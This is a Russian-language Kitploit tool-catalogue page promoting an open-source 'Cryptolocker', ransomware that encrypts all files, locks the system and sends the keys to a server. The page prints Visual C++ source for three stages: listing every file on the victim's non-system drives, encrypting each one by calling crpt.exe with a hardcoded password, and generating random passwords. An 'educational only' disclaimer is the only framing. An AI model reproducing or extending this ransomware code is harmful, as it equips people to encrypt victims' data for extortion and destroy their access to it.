Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Cryptolocker — CryptoLocker — это open source шифровальщик файлов. Crypto разработан на Visual C++. Он имеет функции: шифровать все файлы, блокировать систему и отправлять ключи обратно на сервер. Многопоточная функциональность помогает этому инструменту ускорять шифрование. | Kitploit
Инструменты/GitHubGitHub/ajayrandhawa/cryptolocker
Инструменты шифрования/дешифрованияАнализ вредоносных программОбучение и Образование
GitHubajayrandhawa/cryptolocker

Cryptolocker

CryptoLocker — это open source шифровальщик файлов. Crypto разработан на Visual C++. Он имеет функции: шифровать все файлы, блокировать систему и отправлять ключи обратно на сервер. Многопоточная функциональность помогает этому инструменту ускорять шифрование.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
14355641 месяц назадПроверено Kitploit

DISCLAIMER : НАШИ ИНСТРУМЕНТЫ ПРЕДНАЗНАЧЕНЫ ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. НЕ ИСПОЛЬЗУЙТЕ ИХ ДЛЯ НЕЗАКОННЫХ ДЕЙСТВИЙ. ВЫ НЕСЕТЕ ПОЛНУЮ ОТВЕТСТВЕННОСТЬ ЗА СВОИ ДЕЙСТВИЯ! НАШИ ИНСТРУМЕНТЫ ЯВЛЯЮТСЯ ОТКРЫТЫМИ С ОТСУТСТВИЕМ КАКИХ-ЛИБО ГАРАНТИЙ И ПРЕДОСТАВЛЯЮТСЯ «КАК ЕСТЬ».

𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜

Cryptolocker

Crypto — это открытый Crypto-Locker. Crypto разработан на Visual C++. Он включает функции шифрования всех файлов, блокировки системы и отправки ключей обратно на сервер. Многопоточность делает шифрование с помощью этого инструмента более быстрым.

Используя мощный 256-битный алгоритм шифрования, после шифрования файл становится полностью бесполезным без пароля. Его просто невозможно прочитать.

Возможности

  1. Надёжное AES-шифрование. (Невзламываемое)
  2. Функция блокировки системы.
  3. Многопоточное шифрование.
  4. Мощный веб-интерфейс администратора

Шаг 1 (Получение файлов)

Получение всех файлов со всех дисков для их шифрования.

Здесь программа на Visual C++ получает список всех каталогов и файлов на диске и сохраняет пути в текстовый файл для последующего шифрования. Я использую библиотеки Boost C++ для получения списка всех файлов. Пожалуйста, сначала настройте библиотеки Boost для компиляции программы.

root@kitploit:~
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");
	

Шаг 2 (Шифрование файлов)

Сначала я получаю путь к каждому файлу из файла «data.txt» строка за строкой и передаю его этому инструменту шифрования с указанием типа шифрования и пароля. Вы также можете встроить всю эту программу в верхний цикл для получения пути и рекурсивного шифрования данных.

root@kitploit:~
out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

Шаг 3 (Создание функции длинного сложного пароля)

Передайте длину в функцию, и функция вернёт сгенерированный сложный длинный пароль, который можно использовать для шифрования.

root@kitploit:~
string RandomString(int len)
{
	srand(time(0));
	string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	string newstr;
	int pos;
	while (newstr.size() != len) {
		pos = ((rand() % (str.size() - 1)));
		newstr += str.substr(pos, 1);
	}
	return newstr;
}

В настоящее время в разработке...

Счастливой кибербезопасности... Счастливого открытого кода.......

:)

Скачать инструмент